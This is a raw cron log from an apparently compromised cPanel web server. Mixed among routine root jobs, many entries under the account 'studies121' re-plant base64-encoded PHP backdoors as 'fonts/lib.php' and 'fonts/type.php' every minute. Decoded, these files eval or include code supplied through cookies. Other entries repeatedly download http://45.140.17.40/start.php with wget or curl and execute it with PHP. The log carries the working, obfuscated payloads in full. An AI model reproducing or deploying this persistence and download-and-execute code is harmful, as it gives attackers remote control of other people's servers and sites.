Sep  5 11:23:01 ip-184-168-122-23 CROND[3102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:23:01 ip-184-168-122-23 CROND[3104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:23:01 ip-184-168-122-23 CROND[3103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:23:01 ip-184-168-122-23 CROND[3106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:24:01 ip-184-168-122-23 CROND[3325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:24:01 ip-184-168-122-23 CROND[3327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:24:01 ip-184-168-122-23 CROND[3328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:24:01 ip-184-168-122-23 CROND[3330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:24:01 ip-184-168-122-23 CROND[3331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:25:01 ip-184-168-122-23 CROND[3473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:25:01 ip-184-168-122-23 CROND[3475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:25:01 ip-184-168-122-23 CROND[3476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:25:01 ip-184-168-122-23 CROND[3477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:25:01 ip-184-168-122-23 CROND[3478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:25:01 ip-184-168-122-23 CROND[3479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:26:01 ip-184-168-122-23 CROND[3697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:26:01 ip-184-168-122-23 CROND[3699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:26:01 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:26:01 ip-184-168-122-23 CROND[3700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:26:01 ip-184-168-122-23 CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:27:01 ip-184-168-122-23 CROND[3827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:27:01 ip-184-168-122-23 CROND[3828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:27:01 ip-184-168-122-23 CROND[3829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:27:01 ip-184-168-122-23 CROND[3830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:28:01 ip-184-168-122-23 CROND[4000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:28:01 ip-184-168-122-23 CROND[4004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:28:01 ip-184-168-122-23 CROND[4002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:28:01 ip-184-168-122-23 CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:28:01 ip-184-168-122-23 CROND[4001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:29:01 ip-184-168-122-23 CROND[4259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:29:01 ip-184-168-122-23 CROND[4260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:29:01 ip-184-168-122-23 CROND[4261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:29:01 ip-184-168-122-23 CROND[4262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:30:01 ip-184-168-122-23 CROND[4453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:30:01 ip-184-168-122-23 CROND[4456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:30:01 ip-184-168-122-23 CROND[4461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:31:01 ip-184-168-122-23 CROND[4632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:31:01 ip-184-168-122-23 CROND[4633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:31:01 ip-184-168-122-23 CROND[4631]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:31:01 ip-184-168-122-23 CROND[4636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:31:01 ip-184-168-122-23 CROND[4637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:32:01 ip-184-168-122-23 CROND[4792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:32:01 ip-184-168-122-23 CROND[4796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:32:01 ip-184-168-122-23 CROND[4793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:32:01 ip-184-168-122-23 CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:32:01 ip-184-168-122-23 CROND[4795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:33:01 ip-184-168-122-23 CROND[4914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:33:01 ip-184-168-122-23 CROND[4915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:33:01 ip-184-168-122-23 CROND[4916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:33:01 ip-184-168-122-23 CROND[4918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:34:01 ip-184-168-122-23 CROND[5077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:34:01 ip-184-168-122-23 CROND[5075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:34:01 ip-184-168-122-23 CROND[5076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:34:01 ip-184-168-122-23 CROND[5078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:34:01 ip-184-168-122-23 CROND[5079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:35:01 ip-184-168-122-23 CROND[5347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
